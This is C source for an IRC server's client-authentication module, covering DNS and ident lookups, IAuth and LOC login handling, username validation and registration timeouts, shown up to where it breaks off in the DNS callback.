1 /************************************************************************
2 * IRC - Internet Relay Chat, src/s_auth.c
3 * Copyright (C) 1992 Darren Reed
5 * This program is free software; you can redistribute it and/or modify
6 * it under the terms of the GNU General Public License as published by
7 * the Free Software Foundation; either version 1, or (at your option)
10 * This program is distributed in the hope that it will be useful,
11 * but WITHOUT ANY WARRANTY; without even the implied warranty of
12 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 * GNU General Public License for more details.
15 * You should have received a copy of the GNU General Public License
16 * along with this program; if not, write to the Free Software
17 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
20 * July 6, 1999 - Rewrote most of the code here. When a client connects
21 * to the server and passes initial socket validation checks, it
22 * is owned by this module (auth) which returns it to the rest of the
23 * server when dns and auth queries are finished. Until the client is
24 * released, the server does not know it exists and does not process
25 * any messages from it.
26 * --Bleep Thomas Helvey <tomh@inxpress.net>
28 * December 26, 2005 - Rewrite the flag handling and integrate that with
29 * an IRCnet-style IAuth protocol.
33 * @brief Implementation of DNS and ident lookups.
34 * @version $Id: s_auth.c 1843 2007-11-17 14:12:37Z entrope $
44 #include "ircd_alloc.h"
45 #include "ircd_chattr.h"
46 #include "ircd_events.h"
47 #include "ircd_features.h"
49 #include "ircd_osdep.h"
50 #include "ircd_reply.h"
51 #include "ircd_snprintf.h"
52 #include "ircd_string.h"
54 #include "msg.h" /* for MAXPARA */
57 #include "querycmds.h"
74 #include <sys/socket.h>
75 #include <sys/ioctl.h>
77 /** Pending operations during registration. */
78 enum AuthRequestFlag {
79 AR_AUTH_PENDING, /**< ident connecting or waiting for response */
80 AR_DNS_PENDING, /**< dns request sent, waiting for response */
81 AR_CAP_PENDING, /**< in middle of CAP negotiations */
82 AR_LOC_PENDING, /**< LOC reply is awaited */
83 AR_NEEDS_PONG, /**< user has not PONGed */
84 AR_NEEDS_USER, /**< user must send USER command */
85 AR_NEEDS_NICK, /**< user must send NICK command */
86 AR_LAST_SCAN = AR_NEEDS_NICK, /**< maximum flag to scan through */
87 AR_ZOMBIE_RECOVER, /**< nick of user is already taken by a zombie - try to recover */
88 AR_IAUTH_PENDING, /**< iauth request sent, waiting for response */
89 AR_IAUTH_HURRY, /**< we told iauth to hurry up */
90 AR_IAUTH_USERNAME, /**< iauth sent a username (preferred or forced) */
91 AR_IAUTH_FUSERNAME, /**< iauth sent a forced username */
92 AR_PASSWORD_CHECKED, /**< client password already checked */
93 AR_LOC_SENT, /**< LOC query already sent. */
94 AR_LOC_FORCE, /**< Force kill if LOC failed. */
98 DECLARE_FLAGSET(AuthRequestFlags, AR_NUM_FLAGS);
100 /** Stores registration state of a client. */
102 struct AuthRequest* next; /**< linked list node ptr */
103 struct AuthRequest* prev; /**< linked list node ptr */
104 struct Client* client; /**< pointer to client struct for request */
105 struct irc_sockaddr local; /**< local endpoint address */
106 struct irc_in_addr original; /**< original client IP address */
107 struct Socket socket; /**< socket descriptor for auth queries */
108 struct Timer timeout; /**< timeout timer for ident and dns queries */
109 struct AuthRequestFlags flags; /**< current state of request */
110 unsigned int cookie; /**< cookie the user must PONG */
111 unsigned short port; /**< client's remote port number */
112 unsigned int numeric; /**< unregistered client numeric */
113 struct Client* recover_client; /**< zombie client to be recovered later */
114 char loc_user[ACCOUNTLEN];
115 char loc_pass[PASSWDLEN];
118 /** Array of message text (with length) pairs for AUTH status
119 * messages. Indexed using #ReportType.
124 } HeaderMessages [] = {
125 #define MSG(STR) { STR, sizeof(STR) - 1 }
126 MSG("NOTICE AUTH :*** Looking up your hostname\r\n"),
127 MSG("NOTICE AUTH :*** Found your hostname\r\n"),
128 MSG("NOTICE AUTH :*** Couldn't look up your hostname\r\n"),
129 MSG("NOTICE AUTH :*** Checking Ident\r\n"),
130 MSG("NOTICE AUTH :*** Got ident response\r\n"),
131 MSG("NOTICE AUTH :*** No ident response\r\n"),
132 MSG("NOTICE AUTH :*** \r\n"),
133 MSG("NOTICE AUTH :*** Your forward and reverse DNS do not match, "
134 "ignoring hostname.\r\n"),
135 MSG("NOTICE AUTH :*** Invalid hostname\r\n"),
136 MSG("NOTICE AUTH :*** Checking login\r\n"),
137 MSG("NOTICE AUTH :*** Login rejected\r\n"),
138 MSG("NOTICE AUTH :*** Login accepted\r\n"),
139 MSG("NOTICE AUTH :*** Nickname in Use by Zombie - try to recover\r\n"),
143 /** Enum used to index messages in the HeaderMessages[] array. */
157 REPORT_ZOMBIE_RECOVER
160 /** Sends response \a r (from #ReportType) to client \a c. */
161 #define sendheader(c, r) \
162 ssl_send(cli_fd(c), cli_socket(c).ssl, HeaderMessages[(r)].message, HeaderMessages[(r)].length)
164 /** Enumeration of IAuth connection flags. */
167 IAUTH_BLOCKED, /**< socket buffer full */
168 IAUTH_CLOSING, /**< candidate to be disposed */
169 /* The following flags are controlled by iauth's "O" options command. */
170 IAUTH_ADDLINFO, /**< Send additional info
171 * (password and username). */
172 IAUTH_FIRST_OPTION = IAUTH_ADDLINFO, /**< First flag that is a policy option. */
173 IAUTH_REQUIRED, /**< IAuth completion required for registration. */
174 IAUTH_TIMEOUT, /**< Refuse new connections if IAuth is behind. */
175 IAUTH_EXTRAWAIT, /**< Give IAuth extra time to answer. */
176 IAUTH_UNDERNET, /**< Enable Undernet extensions. */
177 IAUTH_LAST_FLAG /**< total number of flags */
179 /** Declare a bitset structure indexed by IAuthFlag. */
180 DECLARE_FLAGSET(IAuthFlags, IAUTH_LAST_FLAG);
182 /** Describes state of an IAuth connection. */
184 struct MsgQ i_sendQ; /**< messages queued to send */
185 struct Socket i_socket; /**< main socket to iauth */
186 struct Socket i_stderr; /**< error socket for iauth */
187 struct IAuthFlags i_flags; /**< connection state/status/flags */
188 uint64_t i_recvB; /**< bytes received */
189 uint64_t i_sendB; /**< bytes sent */
190 time_t started; /**< time that this instance was started */
191 unsigned int i_recvM; /**< messages received */
192 unsigned int i_sendM; /**< messages sent */
193 unsigned int i_count; /**< characters used in i_buffer */
194 unsigned int i_errcount; /**< characters used in i_errbuf */
195 int i_debug; /**< debug level */
196 char i_buffer[BUFSIZE+1]; /**< partial unprocessed line from server */
197 char i_errbuf[BUFSIZE+1]; /**< partial unprocessed error line */
198 char *i_version; /**< iauth version string */
199 struct SLink *i_config; /**< configuration string list */
200 struct SLink *i_stats; /**< statistics string list */
201 char **i_argv; /**< argument list */
204 /** Return whether flag \a flag is set on \a iauth. */
205 #define IAuthHas(iauth, flag) ((iauth) && FlagHas(&(iauth)->i_flags, flag))
206 /** Set flag \a flag on \a iauth. */
207 #define IAuthSet(iauth, flag) FlagSet(&(iauth)->i_flags, flag)
208 /** Clear flag \a flag from \a iauth. */
209 #define IAuthClr(iauth, flag) FlagClr(&(iauth)->i_flags, flag)
210 /** Get connected flag for \a iauth. */
211 #define i_GetConnected(iauth) ((iauth) && s_fd(i_socket(iauth)) > -1)
213 /** Return socket event generator for \a iauth. */
214 #define i_socket(iauth) (&(iauth)->i_socket)
215 /** Return stderr socket for \a iauth. */
216 #define i_stderr(iauth) (&(iauth)->i_stderr)
217 /** Return outbound message queue for \a iauth. */
218 #define i_sendQ(iauth) (&(iauth)->i_sendQ)
219 /** Return debug level for \a iauth. */
220 #define i_debug(iauth) ((iauth)->i_debug)
222 /** Active instance of IAuth. */
223 static struct IAuth *iauth;
224 /** Freelist of AuthRequest structures. */
225 static struct AuthRequest *auth_freelist;
226 /** Set to 1 if iauth is required to proceed a client, otherwise 0. */
227 static int iauth_required;
229 /** Array of unregistered clients indexed by numeric. */
230 static struct AuthRequest *uclient_list[MAXCONNECTIONS];
232 static void iauth_sock_callback(struct Event *ev);
233 static void iauth_stderr_callback(struct Event *ev);
234 static int sendto_iauth(struct Client *cptr, const char *format, ...);
235 static int preregister_user(struct Client *cptr, signed int stop);
236 typedef int (*iauth_cmd_handler)(struct IAuth *iauth, struct Client *cli,
237 int parc, char **params);
238 static void iauth_disconnect(struct IAuth *iauth);
239 int iauth_do_spawn(struct IAuth *iauth, int automatic);
241 /** Register a new unregistered client numeric.
242 * This numeric is totally independent from the numnicks in numnicks.c.
244 * This numeric is only valid while the user is in the unregistered state.
246 static int auth_set_numnick(struct AuthRequest *auth) {
247 static unsigned int last_uclient = 0;
248 unsigned int count = 0;
250 while(uclient_list[last_uclient]) {
252 if(count == MAXCONNECTIONS) {
253 assert(count < MAXCONNECTIONS && "More pending client registrations than connections, abort!");
257 if(last_uclient == MAXCONNECTIONS) last_uclient = 0;
259 uclient_list[last_uclient] = auth;
260 auth->numeric = last_uclient;
261 if(++last_uclient == MAXCONNECTIONS) last_uclient = 0;
265 /** Unregisters an unregistered client numeric.
266 * See auth_set_numnick for information.
268 static void auth_unset_numnick(struct AuthRequest *auth) {
269 uclient_list[auth->numeric] = NULL;
273 /** Finds an AuthRequest related to an unregistered client numeric.
274 * See auth_set_numnick for information.
276 static struct AuthRequest *auth_find_numnick(const char *numnick) {
279 num = base64toint(numnick);
280 if(num >= MAXCONNECTIONS) return NULL;
281 return uclient_list[num];
284 /** Sends a LOC query.
285 * We check for FEAT_LOC_ENABLE, search for the nick and discard the query
286 * if one check fails.
288 static signed int auth_loc_send(struct AuthRequest *auth) {
289 struct Client *acptr;
291 const char *host, *ip, *ident, *format;
294 if(!FlagHas(&auth->flags, AR_LOC_PENDING) ||
295 FlagHas(&auth->flags, AR_LOC_SENT) ||
296 FlagHas(&auth->flags, AR_DNS_PENDING) ||
297 FlagHas(&auth->flags, AR_NEEDS_USER) ||
298 FlagHas(&auth->flags, AR_AUTH_PENDING)) return 1;
300 inttobase64(buf, auth->numeric, 3);
303 host = cli_sockhost(auth->client);
304 if(!host || !*host) host = NULL;
305 ip = cli_sock_ip(auth->client);
306 if(IsIdented(auth->client))
307 ident = cli_username(auth->client);
309 ident = cli_user(auth->client)->username;
311 if(!ident || !*ident) ident = "unknown";
313 if(feature_str(FEAT_LOC_TARGET) && (acptr = FindUser(feature_str(FEAT_LOC_TARGET))) && IsNetServ(acptr) && IsService(cli_user(acptr)->server)) {
314 if(IsIdented(auth->client) && host) format = "%C LQ !%s%s %s %s %s %s :%s";
315 else if(IsIdented(auth->client)) format = "%C LQ !%s%s %s %s%s %s :%s";
316 else if(host) format = "%C LQ !%s%s %s %s %s ~%s :%s";
317 else format = "%C LQ !%s%s %s %s%s ~%s :%s";
319 sendcmdto_one(&me, CMD_RELAY, acptr, format, acptr,
320 cli_yxx(&me), buf, auth->loc_user, ip, host?host:"",
321 ident, auth->loc_pass);
322 FlagSet(&auth->flags, AR_LOC_SENT);
325 sendheader(auth->client, REPORT_FAIL_LOC);
326 FlagClr(&auth->flags, AR_LOC_PENDING);
327 if(FlagHas(&auth->flags, AR_LOC_FORCE)) {
328 exit_client(auth->client, auth->client, &me, "LOC Failed");
335 /** Set username for user associated with \a auth.
336 * @param[in] auth Client authorization request to work on.
337 * @return Zero if client is kept, CPTR_KILLED if client rejected.
339 static int auth_set_username(struct AuthRequest *auth)
341 struct Client *sptr = auth->client;
342 struct User *user = cli_user(sptr);
351 if (FlagHas(&auth->flags, AR_IAUTH_USERNAME))
353 ircd_strncpy(cli_user(sptr)->username, cli_username(sptr), USERLEN);
357 /* Copy username from source to destination. Since they may be the
358 * same, and we may prefix with a '~', use a buffer character (ch)
359 * to hold the next character to copy.
361 s = IsIdented(sptr) ? cli_username(sptr) : user->username;
364 if (HasFlag(sptr, FLAG_DOID) && !IsIdented(sptr))
369 while (last && !IsCntrl(last) && rlen--)
372 *d++ = IsUserChar(last) ? last : '_';
373 last = (ch != '~') ? ch : '_';
378 /* If username is empty or just ~, reject. */
379 if ((user->username[0] == '\0')
380 || ((user->username[0] == '~') && (user->username[1] == '\0')))
381 return exit_client(sptr, sptr, &me, "USER: Bogus userid.");
383 /* Check for K- or G-line. */
384 killreason = find_kill(sptr);
386 ServerStats->is_ref++;
387 return exit_client(sptr, sptr, &me,
388 (killreason == -1 ? "K-lined" : "G-lined"));
391 if (!FlagHas(&auth->flags, AR_IAUTH_FUSERNAME))
394 for(i = 0; user->username[i]; ++i) {
395 if(user->username[i] > 126 || user->username[i] < 1) goto badid;
400 /* Check for mixed case usernames, meaning probably hacked. Jon2 3-94
401 * Explanations of rules moved to where it is checked Entrope 2-06
403 s = d = user->username + (user->username[0] == '~');
412 else if (IsUpper(ch))
415 /* Accept caps as leading if we haven't seen lower case or digits yet. */
416 if ((leadcaps || pos == 0) && !lower && !digits)
419 else if (IsDigit(ch))
422 if (pos == 0 || !IsDigit(last))
425 /* If more than two groups of digits, reject. */
430 else if (ch == '-' || ch == '_' || ch == '.')
433 /* If -_. exist at start, consecutively, or more than twice, reject. */
434 if (pos == 0 || last == '-' || last == '_' || last == '.' || other > 2)
437 else /* All other punctuation is rejected. */
441 /* If mixed case, first must be capital, but no more than three;
442 * but if three capitals, they must all be leading. */
443 if (lower && upper && (!leadcaps || leadcaps > 3 ||
444 (upper > 2 && upper > leadcaps)))
446 /* If two different groups of digits, one must be either at the
448 if (digitgroups == 2 && !(IsDigit(s[0]) || IsDigit(ch)))
450 /* Must have at least one letter. */
451 if (!lower && !upper)
453 /* Final character must not be punctuation. */
462 /* If we confirmed their username, and it is what they claimed,
464 if (IsIdented(sptr) && !strcmp(cli_username(sptr), user->username))
467 ServerStats->is_ref++;
468 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
469 ":Your username is invalid.");
470 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
471 ":Connect with your real username, in lowercase.");
472 send_reply(sptr, SND_EXPLICIT | ERR_INVALIDUSERNAME,
473 ":If your mail address were foo@bar.com, your username "
475 return exit_client(sptr, sptr, &me, "USER: Bad username");
478 /** Check whether an authorization request is complete.
479 * This means that no flags from 0 to #AR_LAST_SCAN are set on \a auth.
480 * If #AR_IAUTH_PENDING is set, optionally go into "hurry" state. If
481 * 0 through #AR_LAST_SCAN and #AR_IAUTH_PENDING are all clear,
482 * destroy \a auth, clear the password, set the username, and register
484 * @param[in] auth Authorization request to check.
485 * @return Zero if client is kept, CPTR_KILLED if client rejected.
487 static int check_auth_finished(struct AuthRequest *auth)
489 enum AuthRequestFlag flag;
492 /* Check whether to send LOC query. */
493 if(FlagHas(&auth->flags, AR_LOC_PENDING) &&
494 !FlagHas(&auth->flags, AR_LOC_SENT) &&
495 !FlagHas(&auth->flags, AR_DNS_PENDING) &&
496 !FlagHas(&auth->flags, AR_NEEDS_USER) &&
497 !FlagHas(&auth->flags, AR_AUTH_PENDING)) {
498 if(!auth_loc_send(auth)) return CPTR_KILLED;
502 /* Check non-iauth registration blocking flags. */
503 for (flag = 0; flag <= AR_LAST_SCAN; ++flag)
504 if (FlagHas(&auth->flags, flag))
506 Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
507 cli_fd(auth->client), flag));
511 /* If appropriate, do preliminary assignment to connection class. */
512 if (IsUserPort(auth->client)
513 && !FlagHas(&auth->flags, AR_IAUTH_HURRY)
514 && preregister_user(auth->client, 1))
517 /* Check if iauth is done. */
518 if (FlagHas(&auth->flags, AR_IAUTH_PENDING))
520 /* Switch auth request to hurry-up state. */
521 if (!FlagHas(&auth->flags, AR_IAUTH_HURRY))
523 /* Set "hurry" flag in auth request. */
524 FlagSet(&auth->flags, AR_IAUTH_HURRY);
526 /* If iauth wants it, send notification. */
527 if (IAuthHas(iauth, IAUTH_UNDERNET))
528 sendto_iauth(auth->client, "H %s", get_client_class(auth->client));
530 /* If iauth wants it, give client more time. */
531 if (IAuthHas(iauth, IAUTH_EXTRAWAIT))
532 cli_firsttime(auth->client) = CurrentTime;
535 Debug((DEBUG_INFO, "Auth %p [%d] still has flag %d", auth,
536 cli_fd(auth->client), AR_IAUTH_PENDING));
540 FlagSet(&auth->flags, AR_IAUTH_HURRY);
542 /* Class assignment is done after IAUTH is done. */
543 if (IsUserPort(auth->client)) {
544 if(preregister_user(auth->client, 0))
547 if(!FlagHas(&auth->flags, AR_PASSWORD_CHECKED)) {
548 struct ConfItem *aconf;
549 aconf = cli_confs(auth->client)->value.aconf;
551 && !EmptyString(aconf->passwd)
552 && strcmp(cli_passwd(auth->client), aconf->passwd))
554 ServerStats->is_ref++;
555 send_reply(auth->client, ERR_PASSWDMISMATCH);
556 return exit_client(auth->client, auth->client, &me, "Bad Password");
558 FlagSet(&auth->flags, AR_PASSWORD_CHECKED);
562 if (IsUserPort(auth->client))
564 if(FlagHas(&auth->flags, AR_ZOMBIE_RECOVER)) {
565 /* check if able to recover connection */
566 if(!IsAccount(auth->client) || ircd_strcmp(cli_user(auth->client)->account, cli_user(auth->recover_client)->account)) {
567 send_reply(auth->client, ERR_RECOVERDENIED, cli_name(auth->recover_client), "auth missmatch");
570 FlagSet(&auth->flags, AR_NEEDS_NICK);
571 send_reply(auth->client, ERR_NICKNAMEINUSE, cli_name(auth->recover_client));
572 hRemClient(auth->client);
573 (cli_name(auth->client))[0] = '\0';
577 memset(cli_passwd(auth->client), 0, sizeof(cli_passwd(auth->client)));
578 res = auth_set_username(auth);
580 res = register_user(auth->client, auth->client);
581 if (res == 0 && FlagHas(&auth->flags, AR_ZOMBIE_RECOVER)) {
582 unzombie_client(&me, &me, auth->client, auth->recover_client);
583 auth->client = auth->recover_client;
589 destroy_auth_request(auth);
593 /** Verify that a hostname is valid, i.e., only contains characters
594 * valid for a hostname and that a hostname is not too long.
595 * @param host Hostname to check.
596 * @param maxlen Maximum length of hostname, not including NUL terminator.
597 * @return Non-zero if the hostname is valid.
600 auth_verify_hostname(const char *host, int maxlen)
604 /* Walk through the host name */
605 for (i = 0; host[i]; i++)
606 /* If it's not a hostname character or if it's too long, return false */
607 if (!IsHostChar(host[i]) || i >= maxlen)
610 return 1; /* it's a valid hostname */
613 /** Check whether a client already has a CONF_CLIENT configuration
616 * @return A pointer to the client's first CONF_CLIENT, or NULL if
619 static struct ConfItem *find_conf_client(struct Client *cptr)
623 for (list = cli_confs(cptr); list != NULL; list = list->next) {
624 struct ConfItem *aconf;
625 aconf = list->value.aconf;
626 if (aconf->status & CONF_CLIENT)
633 /** Assign a client to a connection class.
634 * @param[in] cptr Client to assign to a class.
635 * @return Zero if client is kept, CPTR_KILLED if rejected.
637 static int preregister_user(struct Client *cptr, signed int stop)
639 static time_t last_too_many1;
640 static time_t last_too_many2;
642 ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
643 ircd_strncpy(cli_user(cptr)->realhost, cli_sockhost(cptr), HOSTLEN);
645 if(find_conf_client(cptr) || stop) return 0;
647 switch (conf_check_client(cptr))
651 case ACR_NO_AUTHORIZATION:
652 sendto_opmask_butone(0, SNO_UNAUTH, "Unauthorized connection from %s.",
653 get_client_name(cptr, HIDE_IP));
654 ++ServerStats->is_ref;
655 return exit_client(cptr, cptr, &me,
656 "No Authorization - use another server");
657 case ACR_TOO_MANY_IN_CLASS:
658 sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many1,
659 "Too many connections in class %s for %s.",
660 get_client_class(cptr),
661 get_client_name(cptr, SHOW_IP));
662 ++ServerStats->is_ref;
663 return exit_client(cptr, cptr, &me,
664 "Sorry, your connection class is full - try "
665 "again later or try another server");
666 case ACR_TOO_MANY_FROM_IP:
667 sendto_opmask_butone_ratelimited(0, SNO_TOOMANY, &last_too_many2,
668 "Too many connections from same IP for %s.",
669 get_client_name(cptr, SHOW_IP));
670 ++ServerStats->is_ref;
671 return exit_client(cptr, cptr, &me,
672 "Too many connections from your host");
673 case ACR_ALREADY_AUTHORIZED:
674 /* Can this ever happen? */
676 ++ServerStats->is_ref;
677 IPcheck_connect_fail(cptr);
678 return exit_client(cptr, cptr, &me, "Unknown error -- Try again");
683 /** Send the ident server a query giving "theirport , ourport". The
684 * write is only attempted *once* so it is deemed to be a fail if the
685 * entire write doesn't write all the data given. This shouldn't be a
686 * problem since the socket should have a write buffer far greater
687 * than this message to store it in should problems arise. -avalon
688 * @param[in] auth The request to send.
690 static void send_auth_query(struct AuthRequest* auth)
697 ircd_snprintf(0, authbuf, sizeof(authbuf), "%hu , %hu\r\n",
698 auth->port, auth->local.port);
700 if (IO_SUCCESS != os_send_nonb(s_fd(&auth->socket), authbuf, strlen(authbuf), &count)) {
701 close(s_fd(&auth->socket));
702 socket_del(&auth->socket);
703 s_fd(&auth->socket) = -1;
704 ++ServerStats->is_abad;
705 if (IsUserPort(auth->client))
706 sendheader(auth->client, REPORT_FAIL_ID);
707 FlagClr(&auth->flags, AR_AUTH_PENDING);
708 check_auth_finished(auth);
712 /** Enum used to index ident reply fields in a human-readable way. */
713 enum IdentReplyFields {
721 /** Parse an ident reply line and extract the userid from it.
722 * @param[in] reply The ident reply line.
723 * @return The userid, or NULL on parse failure.
725 static char* check_ident_reply(char* reply)
729 char* vector[USERID_TOKEN_COUNT];
730 int count = token_vector(reply, ':', vector, USERID_TOKEN_COUNT);
732 if (USERID_TOKEN_COUNT != count)
735 * second token is the reply type
737 token = vector[IDENT_REPLY_TYPE];
738 if (EmptyString(token))
741 while (IsSpace(*token))
744 if (0 != strncmp(token, "USERID", 6))
748 * third token is the os type
750 token = vector[IDENT_OS_TYPE];
751 if (EmptyString(token))
753 while (IsSpace(*token))
757 * Unless "OTHER" is specified as the operating system
758 * type, the server is expected to return the "normal"
759 * user identification of the owner of this connection.
760 * "Normal" in this context may be taken to mean a string
761 * of characters which uniquely identifies the connection
762 * owner such as a user identifier assigned by the system
763 * administrator and used by such user as a mail
764 * identifier, or as the "user" part of a user/password
765 * pair used to gain access to system resources. When an
766 * operating system is specified (e.g., anything but
767 * "OTHER"), the user identifier is expected to be in a
768 * more or less immediately useful form - e.g., something
769 * that could be used as an argument to "finger" or as a
772 if (0 == strncmp(token, "OTHER", 5))
775 * fourth token is the username
777 token = vector[IDENT_INFO];
778 if (EmptyString(token))
780 while (IsSpace(*token))
783 * look for the end of the username, terminators are '\0, @, <SPACE>, :'
785 for (end = token; *end; ++end) {
786 if (IsSpace(*end) || '@' == *end || ':' == *end)
793 /** Read the reply (if any) from the ident server we connected to. We
794 * only give it one shot, if the reply isn't good the first time fail
795 * the authentication entirely. --Bleep
796 * @param[in] auth The request to read.
798 static void read_auth_reply(struct AuthRequest* auth)
803 * rfc1453 sez we MUST accept 512 bytes
805 char buf[BUFSIZE + 1];
808 assert(0 != auth->client);
809 assert(auth == cli_auth(auth->client));
811 if (IO_SUCCESS == os_recv_nonb(s_fd(&auth->socket), buf, BUFSIZE, &len)) {
813 Debug((DEBUG_INFO, "Auth %p [%d] reply: %s", auth, cli_fd(auth->client), buf));
814 username = check_ident_reply(buf);
815 Debug((DEBUG_INFO, "Username: %s", username));
818 Debug((DEBUG_INFO, "Deleting auth [%d] socket %p", auth, cli_fd(auth->client)));
819 close(s_fd(&auth->socket));
820 socket_del(&auth->socket);
821 s_fd(&auth->socket) = -1;
823 if (EmptyString(username)) {
824 if (IsUserPort(auth->client))
825 sendheader(auth->client, REPORT_FAIL_ID);
826 ++ServerStats->is_abad;
828 if (IsUserPort(auth->client))
829 sendheader(auth->client, REPORT_FIN_ID);
830 ++ServerStats->is_asuc;
831 if (!FlagHas(&auth->flags, AR_IAUTH_USERNAME)) {
832 ircd_strncpy(cli_username(auth->client), username, USERLEN);
833 SetGotId(auth->client);
835 if (IAuthHas(iauth, IAUTH_UNDERNET))
836 sendto_iauth(auth->client, "u %s", username);
839 FlagClr(&auth->flags, AR_AUTH_PENDING);
840 if(!auth_loc_send(auth)) return;
841 check_auth_finished(auth);
844 /** Handle socket I/O activity.
845 * @param[in] ev A socket event whos associated data is the active
846 * struct AuthRequest.
848 static void auth_sock_callback(struct Event* ev)
850 struct AuthRequest* auth;
852 assert(0 != ev_socket(ev));
853 assert(0 != s_data(ev_socket(ev)));
855 auth = (struct AuthRequest*) s_data(ev_socket(ev));
857 switch (ev_type(ev)) {
858 case ET_DESTROY: /* being destroyed */
861 case ET_CONNECT: /* socket connection completed */
862 Debug((DEBUG_INFO, "Connection completed for auth %p [%d]; sending query",
863 auth, cli_fd(auth->client)));
864 socket_state(&auth->socket, SS_CONNECTED);
865 send_auth_query(auth);
868 case ET_READ: /* socket is readable */
869 case ET_EOF: /* end of file on socket */
870 case ET_ERROR: /* error on socket */
871 Debug((DEBUG_INFO, "Auth socket %p [%p] readable", auth, ev_socket(ev)));
872 read_auth_reply(auth);
876 assert(0 && "Unrecognized event in auth_socket_callback().");
881 /** Stop an auth request completely.
882 * @param[in] auth The struct AuthRequest to cancel.
884 void destroy_auth_request(struct AuthRequest* auth)
886 Debug((DEBUG_INFO, "Deleting auth request for %p", auth->client));
888 /* Unset numeric nick. */
889 auth_unset_numnick(auth);
891 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
892 delete_resolver_queries(auth);
895 if (-1 < s_fd(&auth->socket)) {
896 close(s_fd(&auth->socket));
897 socket_del(&auth->socket);
898 s_fd(&auth->socket) = -1;
901 if (t_active(&auth->timeout))
902 timer_del(&auth->timeout);
904 cli_auth(auth->client) = NULL;
905 auth->next = auth_freelist;
906 auth_freelist = auth;
909 /** Handle a 'ping' (authorization) timeout for a client.
910 * @param[in] cptr The client whose session authorization has timed out.
911 * @return Zero if client is kept, CPTR_KILLED if client rejected.
913 int auth_ping_timeout(struct Client *cptr)
915 struct AuthRequest *auth;
916 enum AuthRequestFlag flag;
919 auth = cli_auth(cptr);
921 /* Check whether the auth request is gone (more likely, it never
922 * existed, as in an outbound server connection). */
924 return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
926 /* If the loc-query is still pending, we stop the query and
927 * register the user if possible.
929 if (FlagHas(&auth->flags, AR_LOC_PENDING)) {
930 FlagClr(&auth->flags, AR_LOC_PENDING);
931 sendheader(auth->client, REPORT_FAIL_LOC);
932 if(FlagHas(&auth->flags, AR_LOC_FORCE)) return exit_client(cptr, cptr, &me, "Registration Timeout");
933 ret = check_auth_finished(auth);
934 if (ret != 0) return ret;
935 return exit_client(cptr, cptr, &me, "Registration Timeout");
938 /* Check for a user-controlled timeout. */
939 for (flag = 0; flag <= AR_LAST_SCAN; ++flag) {
940 if (FlagHas(&auth->flags, flag)) {
941 /* Display message if they have sent a NICK and a USER but no
944 if (*(cli_name(cptr)) && cli_user(cptr) && *(cli_user(cptr))->username) {
945 send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
946 ":Your client may not be compatible with this server.");
947 send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
948 ":Compatible clients are available at %s",
949 feature_str(FEAT_URL_CLIENTS));
951 return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
955 /* Check for iauth timeout. */
956 if (FlagHas(&auth->flags, AR_IAUTH_PENDING)) {
957 if (IAuthHas(iauth, IAUTH_REQUIRED)) {
958 sendheader(cptr, REPORT_FAIL_IAUTH);
959 return exit_client_msg(cptr, cptr, &me, "Authorization Timeout");
961 sendto_iauth(cptr, "T");
962 FlagClr(&auth->flags, AR_IAUTH_PENDING);
963 return check_auth_finished(auth);
966 return exit_client_msg(cptr, cptr, &me, "Ping Timeout");
969 /** Timeout a given auth request.
970 * @param[in] ev A timer event whose associated data is the expired
971 * struct AuthRequest.
973 static void auth_timeout_callback(struct Event* ev)
975 struct AuthRequest* auth;
977 assert(0 != ev_timer(ev));
978 assert(0 != t_data(ev_timer(ev)));
980 auth = (struct AuthRequest*) t_data(ev_timer(ev));
982 if (ev_type(ev) == ET_EXPIRE) {
983 /* Report the timeout in the log. */
984 log_write(LS_RESOLVER, L_INFO, 0, "Registration timeout %s",
985 get_client_name(auth->client, HIDE_IP));
987 /* Notify client if ident lookup failed. */
988 if (FlagHas(&auth->flags, AR_AUTH_PENDING)) {
989 FlagClr(&auth->flags, AR_AUTH_PENDING);
990 if (IsUserPort(auth->client))
991 sendheader(auth->client, REPORT_FAIL_ID);
994 /* Likewise if dns lookup failed. */
995 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
996 FlagClr(&auth->flags, AR_DNS_PENDING);
997 delete_resolver_queries(auth);
998 if (IsUserPort(auth->client))
999 sendheader(auth->client, REPORT_FAIL_DNS);
1002 /* Try to register the client. */
1003 check_auth_finished(auth);
1007 /** Handle a complete DNS lookup. Send the client on it's way to a
1008 * connection completion, regardless of success or failure -- unless
1009 * there was a mismatch and KILL_IPMISMATCH is set.
1010 * @param[in] vptr The pending struct AuthRequest.
1011 * @param[in] addr IP address being resolved.
1012 * @param[in] h_name Resolved name, or NULL if lookup failed.
1014 static void auth_dns_callback(void* vptr, const struct irc_in_addr *addr, const char *h_name)
1016 struct AuthRequest* auth = (struct AuthRequest*) vptr;
1019 FlagClr(&auth->flags, AR_DNS_PENDING);
1021 /* DNS entry was missing for the IP. */
1022 if (IsUserPort(auth->client))
1023 sendheader(auth->client, REPORT_FAIL_DNS);
1024 sendto_iauth(auth->client, "d");
1025 } else if (!irc_in_addr_valid(addr)
1026 || (irc_in_addr_cmp(&cli_ip(auth->client), addr)
1027 && irc_in_addr_cmp(&auth->original, addr))) {
1028 /* IP for hostname did not match client's IP. */
1029 sendto_opmask_butone(0, SNO_IPMISMATCH, "IP# Mismatch: %s != %s[%s]",
1030 cli_sock_ip(auth->client), h_name,
1032 if (IsUserPort(auth->client))
1033 sendheader(auth->client, REPORT_IP_MISMATCH);
1034 if (feature_bool(FEAT_KILL_IPMISMATCH)) {
1035 exit_client(auth->client, auth->client, &me, "IP mismatch");
1038 } else if (!auth_verify_hostname(h_name, HOSTLEN)) {
1039 /* Hostname did not look valid. */
1040 if (IsUserPort(auth->client))
1041 sendheader(auth->client, REPORT_INVAL_DNS);
1042 sendto_iauth(auth->client, "d");
1044 /* Hostname and mappings checked out. */
1045 if (IsUserPort(auth->client))
1046 sendheader(auth->client, REPORT_FIN_DNS);
